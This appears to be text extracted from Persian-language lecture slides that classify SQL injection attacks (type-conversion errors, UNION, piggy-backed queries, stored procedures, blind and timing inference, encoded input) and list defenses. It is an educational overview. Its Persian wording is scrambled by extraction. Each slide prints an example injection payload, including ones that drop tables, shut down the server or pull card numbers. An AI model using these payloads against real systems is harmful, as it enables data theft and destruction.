10. Illegal/Logically Incorrect Queries attack
نحوی خطای
خطاهایمنطقی
خطاهایتبدیلنوع
مثال:convert (int,(select top 1 name from sysobjects where xtype=’u’))
SELECT accounts FROM users WHERE login=’’ AND pass=’’ AND pin=
convert (int,(select top 1 name from sysobjects where xtype=’u’))
در خطا پیغامSQL:
"Microsoft OLE DB Provider for SQL Server (0x80040E07) Error
converting nvarchar value ’CreditCards’ to a column of data type
int."
فهمد می را ستون نوع و جدول نام و داده پایگاه نام کننده حمله
حمالت
SQL
مقدمه
11. Union Query attack
کردن اضافهUnion
هدف:تغییررکوردهایهویت احراز از فرار ،بازگشتیوداده استخراج
مثال:قسمت در زیر عبارت کردن واردlogin:
“ UNION SELECT cardNo from CreditCards where acctNo=10032 - -
SELECT accounts FROM users WHERE login=’’ UNION SELECT cardNo
from CreditCards where acctNo=10032 -- AND pass=’’
شود می داده نمایش نظر مورد شرط برای نیز دوم جدول اطالعات
حمالت
SQL
مقدمه
12. Piggy- Backed Queries attack
هدف:منع جهتسرویس،تغییرداده استخراج و داده
مثال:در زیر عبارت کردن واردفیلدOrderID:
12345 ; drop table Order - -
SELECT * FROM Order
WHERE OrderID=12345 ; drop table Order
کاربر جداول تمام شدن پاک
حمالت
SQL
مقدمه
13. Stored Procedures attack
هدف:جلوگیریازسرویس،تشدیدامتیازاتوremote command
مثال:اگرروالچککردناعتبارپارامترهادرسمتسروربدینشکلباشد:
CREATE PROCEDURE DBO.isAuthenticated
@userName varchar2, @pass varchar2, @pin int AS
EXEC("SELECT accounts FROM users
WHERE login=‘@userName’ and pass=‘ @password’ and pin=‘@pin’);
کردن وارد با“ ; SHUTDOWN; - -فیلد درpass:
SELECT accounts FROM users WHERE
login=’Alice’ AND pass=’’; SHUTDOWN; -- AND pin=
سرور دهی سرویس عدم و داده پایگاه شدن خاموش
حمالت
SQL
مقدمه
14. Inference attack
هدف:شناساییپارامترهایآسیب،پذیراستخراجدادهوتعیینشمایپایگاهداده
Blind Injection .1:صفحه رفتار به توجه با اطالعات استنتاج
مثال:کردن وارد“legalUser’ and 1=0 - -”و“legalUser’ and 1=1 - -”قسمت در را
loginمرحله دو در:
SELECT accounts FROM users WHERE login=’legalUser’ and 1=0 -- ’ AND
pass=’’ AND pin=0
SELECT accounts FROM users WHERE login=’legalUser’ and 1=1 -- ’ AND
pass=’’ AND pin=0
کند می مشاهده غلط یا درست جوهای و پرس برابر در را سیستم رفتار مهاجم
حمالت
SQL
مقدمه
15. Timing Attack .2:جواب در تاخیر طریق از اطالعات کسبquery
مثال:مقدار کردن واردزیردرفیلدlogin:
’legalUser’ and ASCII( SUBSTRING( (select top 1 name from sysobjects),1,1)) > X
WAITFOR 5 - -
SELECT accounts FROM users WHERE login=’legalUser’ and ASCII( SUBSTRING(
(select top 1 name from sysobjects),1,1)) > X WAITFOR 5 - - AND pass=’’ AND
pin=0
مقدار تغییرxمرحله چند طی جدول اولین نام آوردن بدست و تاخیر میزان به توجه با
حمالت
SQL
مقدمه
(ادامه) Inference attack
16. Alternate Encodings attack
هدف:هویت احراز از فرار
مثال:زیر عبارت کردن وارد:
“legalUser’; exec(0x73687574646f776e) - -درفيلدlogin
SELECT accounts FROM users WHERE login=’legalUser’;
exec(char(0x73687574646f776e)) -- AND pass=’’ AND pin=
داده پایگاه شدن خاموش
حمالت
SQL
مقدمه
17. مقابل در دفاع روشهایSQLIA
Prepared statement
Stored Procedure
Escaping All User Supplied Input
Least Privilege
White List Input Validation
روشهای
دفاع
حمالت
SQL
مقدمه
37. مراجع
1. Amirmohammad Sadeghian, Mazdak Zamani, Azizah Abd. Manaf, “A Taxonomy
of SQL Injection Detection and Prevention Techniques”, International
Conference on Informatics and Creative Multimedia, IEEE, 2013.
2. William G.J. Halfond, Jeremy Viegas, and Alessandro Orso , “A Classification of
SQL Injection Attacks and Countermeasures “, College of Computing Georgia
Institute of Technology,IEEE ,2006 , Pages:1-11
3. WWW. wikipedia.org.